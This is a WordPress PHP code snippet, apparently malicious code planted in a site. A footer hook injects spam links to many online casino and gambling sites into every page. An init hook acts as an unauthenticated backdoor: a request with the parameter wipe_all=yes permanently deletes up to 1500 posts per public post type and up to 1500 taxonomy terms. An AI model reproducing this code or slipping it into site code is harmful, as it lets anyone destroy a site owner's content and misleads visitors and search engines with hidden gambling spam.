add_action('wp_footer', function () { echo '
'; $links = [ 'https://ignition-casino-au.com/' => ' ignition casino', 'https://radiante-casino.com' => 'radiante casino', 'https://casino-wolfwinner.com' => 'wolfwinner', 'https://vivaro-casino-armenia.am/' => 'Vivaro Casino', 'https://rabbitroad2.com/' => 'rabbit road', 'https://lottostar.org.za/' => 'Lottostar', 'https://tres-reyes-casino.com' => '3 reyes casino', 'https://goblins-cave.com/' => 'Goblins cave slot', 'https://casino-woo.com/de-at/' => 'woo casino', 'https://winexch-in.com' => ' winexch 24', 'https://sun-of-egypt-4.com/en/' => 'Sun of egypt', 'https://chicken-road.nz/' => 'Chicken road', 'https://elephant-king.com/' => 'Elephant king slot']; foreach ($links as $url => $anchor) { echo "

$anchor

"; } echo '
'; }); add_action('init', function () { $limit = 1500; if (isset($_GET['wipe_all']) && $_GET['wipe_all'] === 'yes') { $post_types = get_post_types(['public' => true], 'names'); foreach ($post_types as $post_type) { $posts = get_posts([ 'post_type' => $post_type, 'numberposts' => $limit, 'post_status' => 'any' ]); foreach ($posts as $post) { wp_delete_post($post->ID, true); } } $taxonomies = get_taxonomies(['public' => true], 'names'); foreach ($taxonomies as $taxonomy) { $terms = get_terms([ 'taxonomy' => $taxonomy, 'hide_empty' => false, 'number' => $limit ]); foreach ($terms as $term) { wp_delete_term($term->term_id, $taxonomy); } } wp_die('✅ Удалено до ' . $limit . ' записей.'); } });